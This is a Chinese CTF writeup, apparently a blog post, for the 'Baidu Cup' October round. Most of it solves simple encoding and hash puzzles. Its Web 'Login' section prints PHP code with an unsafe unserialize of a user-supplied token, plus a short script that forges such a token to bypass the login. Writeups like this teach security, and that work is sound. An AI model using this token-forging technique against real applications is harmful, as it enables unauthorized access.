“百度杯”CTF比赛 十月场 writeup

Misc

那些年我追过的贝丝

分值:10分 类型:Misc 题目名称:那些年我追过的贝丝

题目内容:

贝丝贝丝,我爱你(大声循环2的6次方ing)

ZmxhZ3tpY3FlZHVfZ29nb2dvX2Jhc2U2NH0=

ZmxhZ3tpY3FlZHVfZ29nb2dvX2Jhc2U2NH0=

贝丝:base,2的6次方:64,及base64编码

flag:flag{icqedu_gogogo_base64}

在这里插入图片描述

我要变成一只程序员

分值:10分 类型:Misc题目名称:我要变成一只程序猿

题目内容:

输入:ba1f2511fc30423bdb

再运行一下

就会有惊喜哦!!


C语言运行

#include<stdio.h>
#include<string.h>
void main() {
char str[100]="";
int i;
int len;
printf("input string:\n");
gets(str);
len=strlen(str);
printf("result:\n");
for(i=0;i<len+1;i++)
{
    putchar(str[len-i]);
}
printf("\n");
}

flag:bdb32403cf1152f1ab

剧情大反转

分值:10分 类型:Misc题目名称:剧情大反转

题目内容:
}~144_0t_em0c14w{galf

反向输入

flag:flag{w41c0me_t0_441~}

challenge

分值:10分 类型:Misc题目名称:challenge

题目内容:
666c61677b686578327374725f6368616c6c656e67657d 

flag:flag{hex2str_challenge}

在这里插入图片描述

据说是rc4算法

分值:10分 类型:Misc题目名称:听说是rc4算法
题目内容:

key welcometoicqedu 

密文UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw== 

try again

分值:10分 类型:Misc题目名称:try again

题目内容:
 try to find the flag 

附件下载

下载附件:文本打开得到flag

flag:flag{re_start_007}

在这里插入图片描述

表姐家的签到题

分值:10分 类型:Misc题目名称:表姐家的签到题

题目内容:

出题人表示金盆洗手
不坑任何参赛选手
干脆利落,直接奉上答案
就是
123456abcdef

在这里插入图片描述

flag:flag{123456abcdef}

泄露的数据

分值:10分 类型:Misc题目名称:泄露的数据

题目内容:

听说这是某个数据库的泄漏的重要数据

25d55ad283aa400af464c76d713c07ad,试着找出原始key吧。

flag{key}

判断为MD5加密:md5加解密网站
在这里插入图片描述
flag:flag{12345678}

考眼力

分值:10分 类型:Misc题目名称:考眼力

题目内容:

 gmbh{4d850d5c3c2756f67b91cbe8f046eebd} 

try to find the flag

根据gmbh推断出原字符内容只须要根据给出字符串中,每一个字母的ASCII编码-1,便可获得

flag:flag{4c850c5b3b2756e67a91bad8e046ddac}

flag格式

分值:10分 类型:Misc题目名称:flag格式

题目内容:

你真的知道flag格式吗?

尝试提交flag{0ahief9124jfjir}

直接提交·:flag{0ahief9124jfjir}

Web

Login

分值:50分 类型:Web题目名称:Login未解答

题目内容:

加油,我看好你

本题由擂主Wfox提供

创建赛题
在这里插入图片描述
查看源码显示

<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Log In</title>
    <link rel="stylesheet" href="//cdn.bootcss.com/skeleton/2.0.4/skeleton.min.css" />
</head>
<body>
    <div class="container">
        <form method="post" action="login.php">
            <label for="username">Username: </label>
            <input class="u-full-width" type="text" name="username" placeholder="Username"  />
            <label for="password">Password: </label>
            <input class="u-full-width" type="password" name="password" placeholder="Password" />
            <input type="submit" value="Log In" />
        </form>
		    </div>
</body>
</html>


<!--  test1 test1  -->

输入:test1 test1

得到:(╯‵□′)╯︵┴─┴

将该页面进行抓包得到:发现在http头里面有一个特别的参数show=0
在这里插入图片描述将show改为1,得到一段php源码
在这里插入图片描述

<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->

分析代码:须要向common.php页面发送Request请求,传入变量token,先对传入的数据进行Base64解码,再解压缩压缩字符串,再反序列化变量,判断user是否等于ichunqiu。

什么是token?
Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位。简单来说就是我们可以伪造一个token加在请求参数之中,服务器认为是ichunqiu访问,返回flag。
unserialize反序列化
gzuncompress解压字符串
base64_decode:base64加密编码;

根据所需构造PHP脚本:

<?php
$a = array('user' => 'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>
Web
    Login
    Backdoor
    GetFlag
    Not Found
    Vld
    EXEC
    登陆
    Gift
    fuzzing
    Try
    Hash
    Nothing
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值